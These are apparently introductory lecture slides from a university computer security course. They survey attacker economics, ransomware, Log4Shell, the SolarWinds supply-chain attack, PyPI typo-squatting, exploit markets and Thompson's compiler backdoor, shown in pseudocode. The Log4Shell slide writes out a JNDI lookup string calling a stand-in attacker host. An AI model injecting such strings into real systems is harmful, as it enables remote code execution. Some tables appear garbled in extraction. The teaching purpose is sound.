Admin

• Course web site: https://cs155.Stanford.edu

• Profs: Dan Boneh and Zakir Durumeric

• Three programming projects (pairs) and two written homeworks

• Project #1 posted. Please attend first section!

• Use EdDiscussions and Gradescope

• Automatic 72 hour extension
The computer security problem

• Lots of buggy software

• Money can be made from finding and exploiting vulns.

1. Marketplace for exploits (gaining a foothold)

2. Marketplace for malware (post compromise)

3. Strong economic and political motivation for using both

current state of computer security
# Top 10 products by total number of “distinct” vulnerabilities in 2021

<table>
<thead>
<tr>
<th>Rank</th>
<th>Product Name</th>
<th>Vendor Name</th>
<th>Product Type</th>
<th>Number of Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Debian Linux</td>
<td>Debian</td>
<td>OS</td>
<td>5922</td>
</tr>
<tr>
<td>2</td>
<td>Android</td>
<td>Google</td>
<td>OS</td>
<td>4136</td>
</tr>
<tr>
<td>3</td>
<td>Ubuntu Linux</td>
<td>Canonical</td>
<td>OS</td>
<td>3144</td>
</tr>
<tr>
<td>4</td>
<td>Mac Os X</td>
<td>Apple</td>
<td>OS</td>
<td>2967</td>
</tr>
<tr>
<td>5</td>
<td>Fedora</td>
<td>FedoraProject</td>
<td>OS</td>
<td>2885</td>
</tr>
<tr>
<td>6</td>
<td>Linux Kernel</td>
<td>Linux</td>
<td>OS</td>
<td>2789</td>
</tr>
<tr>
<td>7</td>
<td>Windows 10</td>
<td>Microsoft</td>
<td>OS</td>
<td>2621</td>
</tr>
<tr>
<td>8</td>
<td>Iphone Os</td>
<td>Apple</td>
<td>OS</td>
<td>2604</td>
</tr>
<tr>
<td>9</td>
<td>Windows Server 2016</td>
<td>Microsoft</td>
<td>OS</td>
<td>2359</td>
</tr>
<tr>
<td>10</td>
<td>Chrome</td>
<td>Google</td>
<td>Application</td>
<td>2346</td>
</tr>
<tr>
<td>11</td>
<td>Windows Server 2008</td>
<td>Microsoft</td>
<td>OS</td>
<td>2169</td>
</tr>
<tr>
<td>12</td>
<td>Windows 7</td>
<td>Microsoft</td>
<td>OS</td>
<td>2035</td>
</tr>
<tr>
<td>13</td>
<td>Firefox</td>
<td>Mozilla</td>
<td>Application</td>
<td>1993</td>
</tr>
</tbody>
</table>

Distribution of exploits used in attacks

Source: Kaspersky Security Bulletin 2021
A global problem

Top 10 countries by share of attacked users:

<table>
<thead>
<tr>
<th>Country*</th>
<th>%**</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Ecuador</td>
</tr>
<tr>
<td>2</td>
<td>France</td>
</tr>
<tr>
<td>3</td>
<td>Spain</td>
</tr>
<tr>
<td>4</td>
<td>Vietnam</td>
</tr>
<tr>
<td>5</td>
<td>Canada</td>
</tr>
<tr>
<td>6</td>
<td>India</td>
</tr>
<tr>
<td>7</td>
<td>Italy</td>
</tr>
<tr>
<td>8</td>
<td>Turkey</td>
</tr>
<tr>
<td>9</td>
<td>United States</td>
</tr>
<tr>
<td>10</td>
<td>Mexico</td>
</tr>
</tbody>
</table>

Source: Kaspersky Security Bulletin 2021
Goals for this course

• Understand exploit techniques
  – Learn to defend and prevent common exploits

• Understand the available security tools

• Learn to architect secure systems
This course

Part 1: **basics**  (architecting for security)
- Securing apps, OS, and legacy code: sandboxing, access control, and security testing

Part 2: **Web security**  (defending against a web attacker)
- Building robust web sites, understand the browser security model

Part 3: **network security**  (defending against a network attacker)
- Monitoring and architecting secure networks.

Part 4: **securing mobile applications**
Don’t try this at home !
Introduction

What motivates attackers?

... economics
Why compromise end user machines?

1. Steal user credentials
   keylog for banking passwords, corporate passwords, gaming pwds

Example: SilentBanker (and many like it)

Adversary-in-the-Browser (AITB)
Lots of financial malware

- records banking passwords via keylogger
- spread via spam email and hacked web sites
- maintains access to PC for future installs

Source: Kaspersky Security Bulletin 2021
Similar attacks on mobile devices

Example: FinSpy.

• Works on **iOS and Android** (and Windows)

• once installed: collects contacts, call history, geolocation, texts, messages in encrypted chat apps, ...

• **How installed?**
  – Android pre-2017: links in SMS / links in E-mail
  – iOS and Android post 2017: physical access
## Why own machines: 2. Ransomware

A worldwide problem

- Worm spreads via a vuln. in SMB (port 445)
- Apr. 14, 2017: Eternalblue vuln. released by ShadowBrokers
- May 12, 2017: Worm detected (3 weeks to weaponize)

### Table: Ransomware Attacks

<table>
<thead>
<tr>
<th>Name</th>
<th>% of attacked users*</th>
</tr>
</thead>
<tbody>
<tr>
<td>1  WannaCry</td>
<td>7.71</td>
</tr>
<tr>
<td>2  Locky</td>
<td>6.70</td>
</tr>
<tr>
<td>3  Cerber</td>
<td>5.89</td>
</tr>
<tr>
<td>4  Jaff</td>
<td>2.58</td>
</tr>
<tr>
<td>5  Cryrar/ACCDFISA</td>
<td>2.20</td>
</tr>
<tr>
<td>6  Spora</td>
<td>2.19</td>
</tr>
<tr>
<td>7  Purgen/GlobelImposter</td>
<td>2.11</td>
</tr>
<tr>
<td>8  Shade</td>
<td>2.06</td>
</tr>
<tr>
<td>9  Crysis</td>
<td>1.25</td>
</tr>
<tr>
<td>10 CryptoWall</td>
<td>1.13</td>
</tr>
</tbody>
</table>
Why own machines: 3. Bitcoin Mining

Examples:
1. Trojan.Win32.Miner.bbb
2. Trojan.Win32.Miner.ays
3. Trojan.JS.Miner.m
4. Trojan.Win32.Miner.gen

Source: Kaspersky Security Bulletin 2021
Server-side attacks: why?

(1) Data theft: credit card numbers, intellectual property
   - Example: Equifax (July 2017), ≈ 143M “customer” data impacted
     • Exploited known vulnerability in Apache Struts (RCE)
   - Many many similar attacks since 2000

(2) Political motivation:
   - Election: attack on DNC (2015),

(3) Infect visiting users
Result: many server-side Breaches

Typical attack steps:

- Reconnaissance
- Foothold: initial breach
- Internal reconnaissance
- Lateral movement
- Data extraction
- Exfiltration

Security tools available to try and stop each step (*kill chain*)

will discuss tools during course

... but no complete solution
Case study 1: Log4Shell (2021)

**Log4j**: a popular logging framework for Java

- Nov. 21: vulnerability in Log4j 2 enables **Remote Code Execution**
- Over 7000 code repositories affected and many Java projects

The bug: Log4j can load and run code to process a log request

```
message containing: ${jndi:ldap://attacker.com}
```

LDAP query then HTTP GET

```
log.info("... ${jndi:ldap://attacker.com}...")
```

Malicious Java code

execute code
The result

How was this exploited?
- Khonsari ransomware
- XMRIG Cryptominer
- Orcus Remote Access Trojan

How to prevent problems of this type?
- Isolation: sandbox log4j library or sandbox entire application
Case study 2: SolarWinds Orion (2020)

SolarWinds Orion: set of monitoring tools used by many orgs.

What happened?

Attack (Feb. 20, 2020): attacker corrupts SolarWinds software update process

Large number of infected orgs … not detected until Dec. 2020.
Sunspot: malware injection

How did attacker corrupt the SolarWinds build process?
• **taskhostsvc.exe** runs on SolarWinds build system:
  – monitors for processes running **MsBuild.exe** (MS Visual Studio),
  – if found, read *cmd line args* to test if Orion software being built,
  – if so:
    • replace file `InventoryManager.cs` with malware version
      (store original version in `InventoryManager.bk`)
    • when MsBuild.exe exits, restore original file ... no trace left

How can an org like SolarWinds detect/prevent this ???
The fallout ...

Large number of orgs and govt systems exposed for many months

More generally: a **supply chain attack**

• Software, hardware, or service supplier is compromised
  ➞ many compromised customers

• Many examples of this in the past (e.g., Target 2013, ...)

• Defenses?
Case study 3: typo squatting

pip: The package installer for Python

Usage: python –m pip install ‘SomePackage>=2.3’ # specify min version

• By default, installs from PyPI:
  • The Python Package Index (at pypi.org)
• PyPI hosts over 300,000 projects

Security considerations?
Security considerations: dependencies

Every package you install creates a dependence:

- Package maintainer can inject code into your environment
- Supply chain attack:
  
  attack on package maintainer $\Rightarrow$ compromise dependent projects

Many examples:

<table>
<thead>
<tr>
<th>Package name</th>
<th>Maintainer</th>
<th>Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>noblesse</td>
<td>xin1111</td>
<td>Discord token stealer, Credit card stealer <em>(Windows-based)</em></td>
</tr>
<tr>
<td>genesisbot</td>
<td>xin1111</td>
<td><em>Same as noblesse</em></td>
</tr>
<tr>
<td>aryi</td>
<td>xin1111</td>
<td><em>Same as noblesse</em></td>
</tr>
<tr>
<td>suffer</td>
<td>suffer</td>
<td><em>Same as noblesse, obfuscated by PyArmor</em></td>
</tr>
</tbody>
</table>

https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/
Security considerations: typo-squatting

The risk: malware package with a similar name to a popular package  
→ unsuspecting developers install the wrong package

Examples:
• `urllib3`: a package to parse URLs.  
  Malware package: `urllib3`
• `python-nmap`: net scanning package.  
  Malware package: `nmap-python`

From 2017-2020:
• 40 examples on PyPI of malware typo-squatting packages

[Meyers-Tozer’2020]
Introduction

The Marketplace for Vulnerabilities
Marketplace for Vulnerabilities

Option 1: bug bounty programs (many)

- Google Vulnerability Reward Program: up to $31,337
- Microsoft Bounty Program: up to $100K
- Apple Bug Bounty program: up to $200K
- Stanford bug bounty program: up to $1K
- Pwn2Own competition: $15K
Google’s bug bounty program

Welcome to Google's Bug Hunting community

We're an international group of Bug Hunters keeping Google products and the Internet safe and secure.

[REPORT A SECURITY VULNERABILITY]

https://bughunters.google.com/

### Vulnerabilities giving direct access to Google servers

<table>
<thead>
<tr>
<th>Category</th>
<th>Examples</th>
<th>Applications that permit taking over a Google account [1]</th>
</tr>
</thead>
<tbody>
<tr>
<td>Remote code execution</td>
<td>“Command injection, deserialization bugs, sandbox escapes”</td>
<td>$31,337</td>
</tr>
<tr>
<td>Unrestricted file system or database access</td>
<td>“Unsandboxed XXE, SQL injection”</td>
<td>$13,337</td>
</tr>
<tr>
<td>Logic flaw bugs leaking or bypassing significant security controls</td>
<td>“Direct object reference, remote user impersonation”</td>
<td>$13,337</td>
</tr>
</tbody>
</table>
Marketplace for Vulnerabilities

Option 1:  bug bounty programs  (many)
  • Google Vulnerability Reward Program:  up to $31,337
  • Microsoft Bounty Program:  up to $100K
  • Apple Bug Bounty program:  up to $200K
  • Stanford bug bounty program:  up to $1K
  • Pwn2Own competition:  $15K

Option 2:
  • Zerodium:  up to $2M for iOS,  $2.5M for Android  (since 2019)
  • ... many others
Marketplace for Vulnerabilities

RCE: remote code execution
LPE: local privilege escalation
SBX: sandbox escape

Source: Zerodium payouts
Marketplace for Vulnerabilities

RCE: remote code execution
LPE: local privilege escalation
SBX: sandbox escape

Source: Zerodium payouts
# Why buy 0days?

<table>
<thead>
<tr>
<th>How the acquired security research is used by ZERODIUM?</th>
</tr>
</thead>
<tbody>
<tr>
<td>ZERODIUM extensively tests, analyzes, validates, and documents all acquired vulnerability research and reports it, along with protective measures and security recommendations, solely to its clients subscribing to the ZERODIUM Zero-Day Research Feed.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Who are ZERODIUM's customers?</th>
</tr>
</thead>
<tbody>
<tr>
<td>ZERODIUM customers are <strong>government organizations</strong> (mostly from Europe and North America) in need of advanced zero-day exploits and cybersecurity capabilities.</td>
</tr>
</tbody>
</table>

https://zerodium.com/faq.html
Ken Thompson’s clever Trojan

Turing award lecture

(CACM Aug. 1984)

What code can we trust?
What code can we trust?

Can we trust the “login” program in a Linux distribution? (e.g. Ubuntu)

• No! the login program may have a backdoor
  → records my password as I type it

• Solution: recompile login program from source code

Can we trust the login source code?

• No! but we can inspect the code, then recompile
Can we trust the compiler?

No!  Example malicious compiler code:

```c
compile(s) {
    if (match(s, "login-program")) {
        compile("login-backdoor");
        return
    }
    /* regular compilation */
}
```
What to do?

**Solution:** inspect compiler source code, then recompile the compiler

**Problem:** C compiler is itself written in C, compiles itself

What if compiler binary has a backdoor?
Thompson’s clever backdoor

**Attack step 1:** change compiler source code:

```c
compile(s) {
    if (match(s, "login-program")) {
        compile("login-backdoor");
        return
    }
    if (match(s, "compiler-program")) {
        compile("compiler-backdoor");
        return
    }
    /* regular compilation */
}
```
Thompson’s clever backdoor

**Attack step 2:**

- Compile modified compiler $\Rightarrow$ compiler binary
- Restore compiler source to original state

Now: inspecting compiler source reveals nothing unusual

... but compiling compiler gives a corrupt compiler binary

Complication: compiler-backdoor needs to include all of (*)
What can we trust?

I order a laptop by mail. When it arrives, what can I trust on it?

• Applications and/or operating system may be backdoored
  ⇒ solution: reinstall OS and applications

• How to reinstall? Can’t trust OS to reinstall the OS.
  ⇒ Boot Tails from a USB drive (Debian)

• Need to trust pre-boot BIOS, UEFI code. Can we trust it?
  ⇒ No! (e.g. ShadowHammer operation in 2018)

• Can we trust the motherboard? Software updates?
So, what can we trust?

Sadly, nothing ... anything can be compromised

• but then we can’t make progress

Trusted Computing Base (TCB)

• Assume some minimal part of the system is not compromised
• Then build a secure environment on top of that

will see how during the course.
Next lecture: control hijacking vulnerabilities

THE END